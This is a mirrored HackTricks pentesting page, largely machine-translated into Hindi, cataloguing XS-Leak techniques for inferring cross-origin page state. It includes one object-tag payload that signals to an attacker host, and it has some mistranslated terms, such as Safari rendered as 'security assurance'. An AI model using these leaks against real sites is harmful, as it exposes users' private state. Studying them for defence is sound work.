Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-21 20:23:18 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search.md

146 KiB
Raw Permalink Blame History

XS-Search/XS-Leaks

Use Trickest to आसानी से वर्कफ़्लो बनाएं और स्वचालित करें जो दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित हैं।
आज ही एक्सेस प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

XS-Search एक विधि है जिसका उपयोग क्रॉस-ओरिजिन जानकारी को साइड चैनल कमजोरियों का लाभ उठाकर निकालने के लिए किया जाता है।

इस हमले में शामिल मुख्य घटक हैं:

  • कमजोर वेब: लक्षित वेबसाइट जिससे जानकारी निकाली जानी है।
  • हमलावर का वेब: वह दुर्भावनापूर्ण वेबसाइट जो हमलावर द्वारा बनाई गई है, जिसे पीड़ित विजिट करता है, जो एक्सप्लॉइट को होस्ट करती है।
  • शामिल करने की विधि: वह तकनीक जो कमजोर वेब को हमलावर के वेब में शामिल करने के लिए उपयोग की जाती है (जैसे, window.open, iframe, fetch, href के साथ HTML टैग, आदि)।
  • लीक तकनीक: तकनीकें जो शामिल करने की विधि के माध्यम से एकत्र की गई जानकारी के आधार पर कमजोर वेब की स्थिति में भिन्नताएँ पहचानने के लिए उपयोग की जाती हैं।
  • राज्य: कमजोर वेब की दो संभावित स्थितियाँ, जिन्हें हमलावर पहचानने का प्रयास करता है।
  • पता लगाने योग्य भिन्नताएँ: अवलोकनीय भिन्नताएँ जिन पर हमलावर कमजोर वेब की स्थिति का अनुमान लगाने के लिए निर्भर करता है।

Detectable Differences

कमजोर वेब की स्थितियों को भिन्न करने के लिए कई पहलुओं का विश्लेषण किया जा सकता है:

  • स्थिति कोड: विभिन्न HTTP प्रतिक्रिया स्थिति कोड के बीच भेद करना, जैसे सर्वर त्रुटियाँ, क्लाइंट त्रुटियाँ, या प्रमाणीकरण त्रुटियाँ।
  • API उपयोग: पृष्ठों के बीच वेब APIs के उपयोग की पहचान करना, यह प्रकट करना कि क्या एक क्रॉस-ओरिजिन पृष्ठ एक विशिष्ट जावास्क्रिप्ट वेब API का उपयोग करता है।
  • रीडायरेक्ट्स: विभिन्न पृष्ठों पर नेविगेशन का पता लगाना, न केवल HTTP रीडायरेक्ट्स बल्कि जावास्क्रिप्ट या HTML द्वारा ट्रिगर किए गए।
  • पृष्ठ सामग्री: HTTP प्रतिक्रिया शरीर में भिन्नताओं या पृष्ठ उप-संसाधनों में अवलोकन करना, जैसे एंबेडेड फ्रेम की संख्या या छवियों में आकार भिन्नताएँ।
  • HTTP हेडर: विशिष्ट HTTP प्रतिक्रिया हेडर की उपस्थिति या संभवतः उसके मान को नोट करना, जिसमें X-Frame-Options, Content-Disposition, और Cross-Origin-Resource-Policy जैसे हेडर शामिल हैं।
  • समय: दोनों स्थितियों के बीच लगातार समय भिन्नताओं का ध्यान रखना।

Inclusion Methods

  • HTML तत्व: HTML विभिन्न तत्वों की पेशकश करता है जो क्रॉस-ओरिजिन संसाधन समावेश के लिए होते हैं, जैसे स्टाइलशीट, छवियाँ, या स्क्रिप्ट, जो ब्राउज़र को एक गैर-HTML संसाधन के लिए अनुरोध करने के लिए मजबूर करते हैं। इस उद्देश्य के लिए संभावित HTML तत्वों का संकलन https://github.com/cure53/HTTPLeaks पर पाया जा सकता है।
  • फ्रेम: तत्व जैसे iframe, object, और embed HTML संसाधनों को सीधे हमलावर के पृष्ठ में एम्बेड कर सकते हैं। यदि पृष्ठ फ्रेमिंग सुरक्षा की कमी है, तो जावास्क्रिप्ट फ्रेम किए गए संसाधन की विंडो ऑब्जेक्ट को contentWindow प्रॉपर्टी के माध्यम से एक्सेस कर सकता है।
  • पॉप-अप: window.open विधि एक नए टैब या विंडो में एक संसाधन खोलती है, जावास्क्रिप्ट को विधियों और गुणों के साथ बातचीत करने के लिए एक विंडो हैंडल प्रदान करती है जो SOP का पालन करती है। पॉप-अप, जो अक्सर सिंगल साइन-ऑन में उपयोग होते हैं, लक्षित संसाधन की फ्रेमिंग और कुकी प्रतिबंधों को दरकिनार करते हैं। हालाँकि, आधुनिक ब्राउज़र पॉप-अप निर्माण को कुछ उपयोगकर्ता क्रियाओं तक सीमित करते हैं।
  • जावास्क्रिप्ट अनुरोध: जावास्क्रिप्ट लक्षित संसाधनों के लिए सीधे अनुरोध करने की अनुमति देती है XMLHttpRequests या Fetch API का उपयोग करके। ये विधियाँ अनुरोध पर सटीक नियंत्रण प्रदान करती हैं, जैसे HTTP रीडायरेक्ट का पालन करने का विकल्प चुनना।

Leak Techniques

  • इवेंट हैंडलर: XS-Leaks में एक पारंपरिक लीक तकनीक, जहां इवेंट हैंडलर जैसे onload और onerror संसाधन लोडिंग की सफलता या विफलता के बारे में जानकारी प्रदान करते हैं।
  • त्रुटि संदेश: जावास्क्रिप्ट अपवाद या विशेष त्रुटि पृष्ठ लीक जानकारी प्रदान कर सकते हैं या तो त्रुटि संदेश से सीधे या इसकी उपस्थिति और अनुपस्थिति के बीच भेद करके।
  • वैश्विक सीमाएँ: एक ब्राउज़र की भौतिक सीमाएँ, जैसे मेमोरी क्षमता या अन्य लागू ब्राउज़र सीमाएँ, यह संकेत दे सकती हैं कि कब एक सीमा तक पहुँच गई है, जो एक लीक तकनीक के रूप में कार्य करती है।
  • वैश्विक स्थिति: ब्राउज़र की वैश्विक स्थितियों (जैसे, इतिहास इंटरफेस) के साथ पता लगाने योग्य इंटरैक्शन का लाभ उठाया जा सकता है। उदाहरण के लिए, एक ब्राउज़र के इतिहास में प्रविष्टियों की संख्या क्रॉस-ओरिजिन पृष्ठों के बारे में सुराग प्रदान कर सकती है।
  • परफॉर्मेंस API: यह API वर्तमान पृष्ठ के प्रदर्शन विवरण प्रदान करती है, जिसमें दस्तावेज़ और लोड किए गए संसाधनों के लिए नेटवर्क समय शामिल है, जो अनुरोधित संसाधनों के बारे में अनुमान लगाने की अनुमति देती है।
  • पढ़ने योग्य विशेषताएँ: कुछ HTML विशेषताएँ क्रॉस-ओरिजिन पढ़ने योग्य होती हैं और लीक तकनीक के रूप में उपयोग की जा सकती हैं। उदाहरण के लिए, window.frame.length प्रॉपर्टी जावास्क्रिप्ट को एक वेबपृष्ठ में शामिल फ्रेमों की संख्या गिनने की अनुमति देती है।

XSinator Tool & Paper

XSinator एक स्वचालित उपकरण है जो कई ज्ञात XS-Leaks के खिलाफ ब्राउज़रों की जांच करता है, जिसे इसके पेपर में समझाया गया है: https://xsinator.com/paper.pdf

आप उपकरण तक पहुँच सकते हैं https://xsinator.com/

{% hint style="warning" %} अलग किए गए XS-Leaks: हमें उन XS-Leaks को अलग करना पड़ा जो सेवा श्रमिकों पर निर्भर करते हैं क्योंकि वे XSinator में अन्य लीक के साथ हस्तक्षेप करेंगे। इसके अलावा, हमने विशिष्ट वेब एप्लिकेशन में गलत कॉन्फ़िगरेशन और बग्स पर निर्भर करने वाले XS-Leaks को भी अलग करने का निर्णय लिया। उदाहरण के लिए, CrossOrigin Resource Sharing (CORS) गलत कॉन्फ़िगरेशन, postMessage लीक या Cross-Site Scripting। इसके अतिरिक्त, हमने समय आधारित XS-Leaks को भी अलग किया क्योंकि वे अक्सर धीमे, शोर वाले और असंगत होते हैं। {% endhint %}


Use Trickest to आसानी से वर्कफ़्लो बनाएं और स्वचालित करें जो दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित हैं।
आज ही एक्सेस प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Timing Based techniques

कुछ निम्नलिखित तकनीकें समय का उपयोग करने जा रही हैं ताकि वेब पृष्ठों की संभावित स्थितियों में भिन्नताएँ पहचान सकें। एक वेब ब्राउज़र में समय मापने के विभिन्न तरीके हैं।

घड़ियाँ: performance.now() API डेवलपर्स को उच्च-रिज़ॉल्यूशन समय माप प्राप्त करने की अनुमति देती है।
हमलावरों के पास निहित घड़ियाँ बनाने के लिए कई APIs का दुरुपयोग करने के लिए पर्याप्त संख्या में APIs हैं: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS एनिमेशन, और अन्य।
अधिक जानकारी के लिए: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Event Handler Techniques

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

कोड उदाहरण JS से स्क्रिप्ट ऑब्जेक्ट लोड करने का प्रयास करता है, लेकिन अन्य टैग जैसे ऑब्जेक्ट, स्टाइलशीट, छवियाँ, ऑडियोज़ का भी उपयोग किया जा सकता है। इसके अलावा, टैग को सीधे इंजेक्ट करना और टैग के अंदर onload और onerror इवेंट्स को घोषित करना भी संभव है (इसके बजाय इसे JS से इंजेक्ट करना)।

इस हमले का एक स्क्रिप्ट-रहित संस्करण भी है:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In this case if example.com/404 is not found attacker.com/?error will be loaded.

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

यह तकनीक पिछले वाले के समान है, लेकिन attacker कुछ क्रिया को प्रासंगिक समय लेने के लिए भी बल देगा जब उत्तर सकारात्मक या नकारात्मक हो और उस समय को मापेगा।

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

The time taken to fetch a resource can be measured by utilizing the unload and beforeunload events. The beforeunload event is fired when the browser is about to navigate to a new page, while the unload event occurs when the navigation is actually taking place. The time difference between these two events can be calculated to determine the duration the browser spent fetching the resource.

Sandboxed Frame Timing + onload

यह देखा गया है कि Framing Protections की अनुपस्थिति में, एक पृष्ठ और इसके उप-संसाधनों को नेटवर्क पर लोड करने के लिए आवश्यक समय को एक attacker द्वारा मापा जा सकता है। यह माप आमतौर पर संभव है क्योंकि एक iframe का onload हैंडलर केवल संसाधन लोडिंग और JavaScript निष्पादन की समाप्ति के बाद ही सक्रिय होता है। स्क्रिप्ट निष्पादन द्वारा उत्पन्न परिवर्तनशीलता को बायपास करने के लिए, एक attacker <iframe> के भीतर sandbox विशेषता का उपयोग कर सकता है। इस विशेषता का समावेश कई कार्यक्षमताओं को प्रतिबंधित करता है, विशेष रूप से JavaScript के निष्पादन को, जिससे एक माप को सुविधाजनक बनाया जा सकता है जो मुख्य रूप से नेटवर्क प्रदर्शन से प्रभावित होता है।

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: यदि आप सही सामग्री को एक्सेस करते समय पृष्ठ में त्रुटि उत्पन्न कर सकते हैं और किसी भी सामग्री को एक्सेस करते समय इसे सही तरीके से लोड कर सकते हैं, तो आप सभी जानकारी निकालने के लिए एक लूप बना सकते हैं बिना समय मापे।
  • Code Example:

मान लीजिए कि आप Iframe के अंदर गुप्त सामग्री वाला पृष्ठ डाल सकते हैं।

आप पीड़ित को खोजने के लिए मजबूर कर सकते हैं उस फ़ाइल के लिए जिसमें "flag" है, एक Iframe का उपयोग करके (उदाहरण के लिए CSRF का शोषण करते हुए)। Iframe के अंदर आप जानते हैं कि onload event हमेशा कम से कम एक बार निष्पादित होगा। फिर, आप URL को iframe का बदल सकते हैं लेकिन केवल hash के सामग्री को बदलकर।

उदाहरण के लिए:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

यदि पहला URL सफलतापूर्वक लोड हुआ, तो, जब hash भाग को बदला जाता है, तो onload घटना फिर से सक्रिय नहीं होगी। लेकिन यदि पृष्ठ लोड करते समय किसी प्रकार की त्रुटि थी, तो, onload घटना फिर से सक्रिय होगी।

तब, आप सही लोड किए गए पृष्ठ या पृष्ठ के बीच अंतर कर सकते हैं जिसमें त्रुटि है जब इसे एक्सेस किया जाता है।

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: यदि पृष्ठ संवेदनशील सामग्री वापस कर रहा है, या एक सामग्री जो उपयोगकर्ता द्वारा नियंत्रित की जा सकती है। उपयोगकर्ता नकारात्मक मामले में मान्य JS कोड सेट कर सकता है, और <script> टैग के अंदर प्रत्येक प्रयास को लोड कर सकता है, इसलिए नकारात्मक मामलों में हमलावरों का कोड निष्पादित होता है, और सकारात्मक मामलों में कुछ भी निष्पादित नहीं होगा।
  • Code Example:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) एक सुरक्षा उपाय है जो वेब पृष्ठों को कुछ संवेदनशील क्रॉस-ओरिजिन संसाधनों को लोड करने से रोकता है ताकि Spectre जैसे हमलों से सुरक्षा की जा सके। हालाँकि, हमलावर इसके सुरक्षात्मक व्यवहार का शोषण कर सकते हैं। जब CORB के अधीन एक प्रतिक्रिया CORB protected Content-Type के साथ nosniff और 2xx स्थिति कोड लौटाती है, तो CORB प्रतिक्रिया के शरीर और हेडर को हटा देता है। इस पर नज़र रखने वाले हमलावर स्थिति कोड (सफलता या त्रुटि को इंगित करने वाला) और Content-Type (यह दर्शाता है कि यह CORB द्वारा संरक्षित है) के संयोजन का अनुमान लगा सकते हैं, जिससे संभावित जानकारी लीक हो सकती है।
  • Code Example:

हमले के बारे में अधिक जानकारी के लिए अधिक जानकारी लिंक की जांच करें।

onblur

यह संभव है कि आप iframe के अंदर एक पृष्ठ लोड करें और #id_value का उपयोग करके पृष्ठ को iframe के तत्व पर ध्यान केंद्रित करने के लिए मजबूर करें, यदि एक onblur संकेत सक्रिय होता है, तो ID तत्व मौजूद है।
आप portal टैग के साथ भी वही हमला कर सकते हैं।

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: postMessage से संवेदनशील जानकारी इकट्ठा करें या उपयोगकर्ता की स्थिति जानने के लिए postMessages की उपस्थिति का उपयोग करें।
  • Code Example: Any code listening for all postMessages.

ऐप्लिकेशन अक्सर postMessage broadcasts का उपयोग विभिन्न मूलों के बीच संचार करने के लिए करते हैं। हालाँकि, यदि targetOrigin पैरामीटर को ठीक से निर्दिष्ट नहीं किया गया है, तो यह विधि अनजाने में संवेदनशील जानकारी को उजागर कर सकती है, जिससे किसी भी विंडो को संदेश प्राप्त करने की अनुमति मिलती है। इसके अलावा, संदेश प्राप्त करने की क्रिया एक oracle के रूप में कार्य कर सकती है; उदाहरण के लिए, कुछ संदेश केवल उन उपयोगकर्ताओं को भेजे जा सकते हैं जो लॉग इन हैं। इसलिए, इन संदेशों की उपस्थिति या अनुपस्थिति उपयोगकर्ता की स्थिति या पहचान के बारे में जानकारी प्रकट कर सकती है, जैसे कि क्या वे प्रमाणित हैं या नहीं।

Trickest का उपयोग करें ताकि आप आसानी से दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाह बना और स्वचालित कर सकें।
आज ही एक्सेस प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Global Limits Techniques

WebSocket API

यह पहचानना संभव है कि एक लक्ष्य पृष्ठ कितने WebSocket कनेक्शन का उपयोग करता है। यह हमलावर को एप्लिकेशन की स्थितियों का पता लगाने और WebSocket कनेक्शनों की संख्या से संबंधित जानकारी लीक करने की अनुमति देता है।

यदि एक origin WebSocket कनेक्शन वस्तुओं की अधिकतम मात्रा का उपयोग करता है, तो कनेक्शन की स्थिति की परवाह किए बिना, नए वस्तुओं का निर्माण JavaScript अपवादों का परिणाम देगा। इस हमले को निष्पादित करने के लिए, हमलावर की वेबसाइट लक्ष्य वेबसाइट को एक पॉप-अप या iframe में खोलती है और फिर, लक्ष्य वेब के लोड होने के बाद, संभवतः अधिकतम संख्या में WebSockets कनेक्शन बनाने का प्रयास करती है। उत्पन्न अपवादों की संख्या लक्ष्य वेबसाइट के WebSocket कनेक्शनों की संख्या है।

Payment API

यह XS-Leak एक हमलावर को पता लगाने की अनुमति देता है जब एक क्रॉस-ओरिजिन पृष्ठ एक भुगतान अनुरोध शुरू करता है।

क्योंकि केवल एक भुगतान अनुरोध सक्रिय हो सकता है एक ही समय में, यदि लक्ष्य वेबसाइट Payment Request API का उपयोग कर रही है, तो इस API का उपयोग करने के लिए कोई भी आगे के प्रयास विफल होंगे, और एक JavaScript अपवाद का कारण बनेंगे। हमलावर इसे नियमित रूप से Payment API UI दिखाने का प्रयास करके शोषण कर सकता है। यदि एक प्रयास अपवाद का कारण बनता है, तो लक्ष्य वेबसाइट वर्तमान में इसका उपयोग कर रही है। हमलावर इन नियमित प्रयासों को UI बनाने के तुरंत बाद बंद करके छिपा सकता है।

Timing the Event Loop

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript एक एकल-थ्रेडेड इवेंट लूप समवर्ती मॉडल पर काम करता है, जिसका अर्थ है कि यह एक समय में केवल एक कार्य निष्पादित कर सकता है। इस विशेषता का उपयोग यह मापने के लिए किया जा सकता है कि एक अलग मूल से कोड को निष्पादित करने में कितना समय लगता है। एक हमलावर अपने कोड के निष्पादन समय को इवेंट लूप में माप सकता है, लगातार निश्चित गुणों के साथ इवेंट भेजकर। ये इवेंट तब संसाधित किए जाएंगे जब इवेंट पूल खाली होगा। यदि अन्य मूल भी उसी पूल में इवेंट भेज रहे हैं, तो एक हमलावर इन बाहरी इवेंट के निष्पादन में देरी को देखकर यह अनुमान लगा सकता है कि इन बाहरी इवेंट को निष्पादित करने में कितना समय लगता है। देरी के लिए इवेंट लूप की निगरानी करने की यह विधि विभिन्न मूलों से कोड के निष्पादन समय को प्रकट कर सकती है, संभावित रूप से संवेदनशील जानकारी को उजागर कर सकती है।

{% hint style="warning" %} एक निष्पादन समय में नेटवर्क कारकों को हटाना संभव है ताकि अधिक सटीक माप प्राप्त किया जा सके। उदाहरण के लिए, पृष्ठ द्वारा उपयोग किए जाने वाले संसाधनों को लोड करने से पहले लोड करना। {% endhint %}

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: एक वेब ऑपरेशन के निष्पादन समय को मापने की एक विधि में जानबूझकर एक थ्रेड के इवेंट लूप को अवरुद्ध करना और फिर इवेंट लूप को फिर से उपलब्ध होने में कितना समय लगता है को मापना शामिल है। एक अवरुद्ध ऑपरेशन (जैसे लंबी गणना या समकालिक API कॉल) को इवेंट लूप में डालकर, और बाद के कोड के निष्पादन की शुरुआत के लिए समय की निगरानी करके, कोई यह अनुमान लगा सकता है कि अवरुद्ध अवधि के दौरान इवेंट लूप में कौन से कार्य निष्पादित हो रहे थे। यह तकनीक JavaScript के इवेंट लूप की एकल-थ्रेडेड प्रकृति का लाभ उठाती है, जहां कार्य अनुक्रम में निष्पादित होते हैं, और यह समान थ्रेड साझा करने वाले अन्य ऑपरेशनों के प्रदर्शन या व्यवहार के बारे में अंतर्दृष्टि प्रदान कर सकती है।
  • Code Example:

इवेंट लूप को लॉक करके निष्पादन समय को मापने की तकनीक का एक महत्वपूर्ण लाभ Site Isolation को दरकिनार करने की क्षमता है। Site Isolation एक सुरक्षा विशेषता है जो विभिन्न वेबसाइटों को अलग प्रक्रियाओं में विभाजित करती है, जिसका उद्देश्य दुर्भावनापूर्ण साइटों को अन्य साइटों से संवेदनशील डेटा तक सीधे पहुंचने से रोकना है। हालाँकि, साझा इवेंट लूप के माध्यम से दूसरे मूल के निष्पादन समय को प्रभावित करके, एक हमलावर उस मूल की गतिविधियों के बारे में अप्रत्यक्ष रूप से जानकारी निकाल सकता है। यह विधि दूसरे मूल के डेटा तक सीधी पहुंच पर निर्भर नहीं करती है, बल्कि साझा इवेंट लूप पर उस मूल की गतिविधियों के प्रभाव को देखती है, इस प्रकार Site Isolation द्वारा स्थापित सुरक्षात्मक बाधाओं से बचती है।

{% hint style="warning" %} एक निष्पादन समय में नेटवर्क कारकों को हटाना संभव है ताकि अधिक सटीक माप प्राप्त किया जा सके। उदाहरण के लिए, पृष्ठ द्वारा उपयोग किए जाने वाले संसाधनों को लोड करने से पहले लोड करना। {% endhint %}

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: एक हमलावर सभी सॉकेट्स को 1 को छोड़कर लॉक कर सकता है, लक्ष्य वेब को लोड कर सकता है और एक ही समय में एक और पृष्ठ लोड कर सकता है, अंतिम पृष्ठ के लोड होने तक का समय लक्ष्य पृष्ठ के लोड होने का समय है।
  • Code Example:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

ब्राउज़र सर्वर संचार के लिए सॉकेट का उपयोग करते हैं, लेकिन ऑपरेटिंग सिस्टम और हार्डवेयर के सीमित संसाधनों के कारण, ब्राउज़र को समवर्ती सॉकेट की संख्या पर एक सीमा लागू करने के लिए मजबूर किया जाता है। हमलावर इस सीमा का शोषण निम्नलिखित चरणों के माध्यम से कर सकते हैं:

  1. ब्राउज़र की सॉकेट सीमा का निर्धारण करें, उदाहरण के लिए, 256 वैश्विक सॉकेट।
  2. विभिन्न होस्टों के लिए 255 अनुरोध शुरू करके 255 सॉकेट्स को लंबे समय तक व्यस्त रखें, जो कनेक्शन को खुले रखने के लिए डिज़ाइन किए गए हैं बिना पूरा किए।
  3. लक्ष्य पृष्ठ को भेजने के लिए 256 वें सॉकेट का उपयोग करें।
  4. एक अलग होस्ट के लिए 257 वां अनुरोध करने का प्रयास करें। चूंकि सभी सॉकेट उपयोग में हैं (जैसा कि चरण 2 और 3 में है), यह अनुरोध तब तक कतारबद्ध होगा जब तक कोई सॉकेट उपलब्ध नहीं हो जाता। इस अनुरोध के आगे बढ़ने से पहले की देरी हमलावर को 256 वें सॉकेट (लक्ष्य पृष्ठ का सॉकेट) से संबंधित नेटवर्क गतिविधि के बारे में समय की जानकारी प्रदान करती है। यह अनुमान संभव है क्योंकि चरण 2 से 255 सॉकेट अभी भी व्यस्त हैं, यह संकेत करते हुए कि कोई भी नया उपलब्ध सॉकेट वह होना चाहिए जो चरण 3 से मुक्त हुआ हो। इसलिए 256 वें सॉकेट के उपलब्ध होने में लगने वाला समय सीधे लक्ष्य पृष्ठ के अनुरोध को पूरा करने के लिए आवश्यक समय से जुड़ा हुआ है।

अधिक जानकारी के लिए: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info:
  • Summary: यह पिछले तकनीक के समान है लेकिन सभी सॉकेट्स का उपयोग करने के बजाय, Google Chrome एक ही मूल के लिए 6 समवर्ती अनुरोधों की सीमा लगाता है। यदि हम 5 को ब्लॉक करते हैं और फिर 6 वां अनुरोध शुरू करते हैं, तो हम इसे समय कर सकते हैं और यदि हम पीड़ित पृष्ठ को उसी एंडपॉइंट पर अधिक अनुरोध भेजने में सफल होते हैं, तो 6 वां अनुरोध लंबा होगा और हम इसे पहचान सकते हैं।

Performance API Techniques

Performance API वेब अनुप्रयोगों के प्रदर्शन मेट्रिक्स के बारे में जानकारी प्रदान करता है, जिसे Resource Timing API द्वारा और समृद्ध किया गया है। Resource Timing API नेटवर्क अनुरोध समय की विस्तृत निगरानी की अनुमति देती है, जैसे अनुरोधों की अवधि। विशेष रूप से, जब सर्वर अपने उत्तरों में Timing-Allow-Origin: * हेडर शामिल करते हैं, तो अतिरिक्त डेटा जैसे ट्रांसफर आकार और डोमेन लुकअप समय उपलब्ध हो जाता है।

इस डेटा की प्रचुरता को performance.getEntries या performance.getEntriesByName जैसी विधियों के माध्यम से प्राप्त किया जा सकता है, जो प्रदर्शन से संबंधित जानकारी का एक व्यापक दृश्य प्रदान करता है। इसके अलावा, API निष्पादन समय को मापने की सुविधा प्रदान करता है, जो performance.now() से प्राप्त टाइमस्टैम्प के बीच के अंतर की गणना करके किया जाता है। हालाँकि, यह ध्यान देने योग्य है कि Chrome जैसे ब्राउज़रों में कुछ ऑपरेशनों के लिए, performance.now() की सटीकता मिलीसेकंड तक सीमित हो सकती है, जो समय माप की बारीकी को प्रभावित कर सकती है।

समय माप के अलावा, प्रदर्शन API को सुरक्षा से संबंधित अंतर्दृष्टि के लिए भी उपयोग किया जा सकता है। उदाहरण के लिए, Chrome में performance ऑब्जेक्ट में पृष्ठों की उपस्थिति या अनुपस्थिति X-Frame-Options के लागू होने का संकेत दे सकती है। विशेष रूप से, यदि किसी पृष्ठ को X-Frame-Options के कारण एक फ्रेम में रेंडर करने से रोका जाता है, तो इसे performance ऑब्जेक्ट में रिकॉर्ड नहीं किया जाएगा, जो पृष्ठ की फ्रेमिंग नीतियों के बारे में एक सूक्ष्म संकेत प्रदान करता है।

Error Leak

यह HTTP प्रतिक्रिया स्थिति कोड के बीच अंतर करने के लिए संभव है क्योंकि जो अनुरोध त्रुटि का परिणाम देते हैं वे प्रदर्शन प्रविष्टि नहीं बनाते हैं।

Style Reload Error

पिछली तकनीक में यह भी पहचाना गया कि GC में ब्राउज़र बग के दो मामले हैं जो संसाधनों को दो बार लोड करते हैं जब वे लोड करने में विफल होते हैं। इसका परिणाम प्रदर्शन API में कई प्रविष्टियों में हो सकता है और इस प्रकार इसे पहचाना जा सकता है।

Request Merging Error

यह तकनीक उस तालिका में पाई गई थी जो उल्लेखित पेपर में थी लेकिन इसके बारे में कोई विवरण नहीं मिला। हालाँकि, आप इसे https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak में स्रोत कोड की जांच करके पा सकते हैं।

Empty Page Leak

एक हमलावर यह पहचान सकता है कि क्या एक अनुरोध का परिणाम एक खाली HTTP प्रतिक्रिया शरीर में हुआ क्योंकि खाली पृष्ठ कुछ ब्राउज़रों में प्रदर्शन प्रविष्टि नहीं बनाते हैं।

XSS-Auditor Leak

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info: https://xsinator.com/paper.pdf (5.2)
  • Summary: सुरक्षा आश्वासन में XSS ऑडिटर का उपयोग करते हुए, हमलावर प्रतिक्रिया में परिवर्तनों का अवलोकन करके विशिष्ट वेबपृष्ठ तत्वों का पता लगा सकते हैं जब तैयार किए गए पेलोड ऑडिटर के फ़िल्टरिंग तंत्र को सक्रिय करते हैं।
  • Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

सुरक्षा आश्वासन (SA) में, XSS ऑडिटर, जो मूल रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को रोकने के लिए डिज़ाइन किया गया था, को संवेदनशील जानकारी लीक करने के लिए विपरीत रूप से शोषित किया जा सकता है। हालाँकि, यह अंतर्निहित विशेषता Google Chrome (GC) से हटा दी गई थी, लेकिन यह SA में अभी भी मौजूद है। 2013 में, ब्रौन और हाइडरिच ने प्रदर्शित किया कि XSS ऑडिटर अनजाने में वैध स्क्रिप्टों को अवरुद्ध कर सकता है, जिससे झूठे सकारात्मक उत्पन्न होते हैं। इसके आधार पर, शोधकर्ताओं ने जानकारी निकालने और क्रॉस-ओरिजिन पृष्ठों पर विशिष्ट सामग्री का पता लगाने के लिए तकनीकों का विकास किया, जिसे XS-Leaks के रूप में जाना जाता है, जिसे पहले टेराडा द्वारा रिपोर्ट किया गया था और हेयेस द्वारा एक ब्लॉग पोस्ट में विस्तृत किया गया था। हालाँकि ये तकनीकें GC में XSS ऑडिटर के लिए विशिष्ट थीं, यह पाया गया कि SA में, XSS ऑडिटर द्वारा अवरुद्ध पृष्ठ प्रदर्शन API में प्रविष्टियाँ उत्पन्न नहीं करते हैं, जिससे संवेदनशील जानकारी लीक होने का एक तरीका प्रकट होता है।

X-Frame Leak

यदि किसी पृष्ठ को iframe में रेंडर करने की अनुमति नहीं है, तो यह प्रदर्शन प्रविष्टि नहीं बनाता है। परिणामस्वरूप, एक हमलावर प्रतिक्रिया हेडर X-Frame-Options का पता लगा सकता है।
यदि आप एक embed tag का उपयोग करते हैं तो वही होता है।

Download Detection

उसी तरह, XS-Leak के वर्णित एक संसाधन जो डाउनलोड किया गया है क्योंकि ContentDisposition हेडर के कारण, भी प्रदर्शन प्रविष्टि नहीं बनाता है। यह तकनीक सभी प्रमुख ब्राउज़रों में काम करती है।

Redirect Start Leak

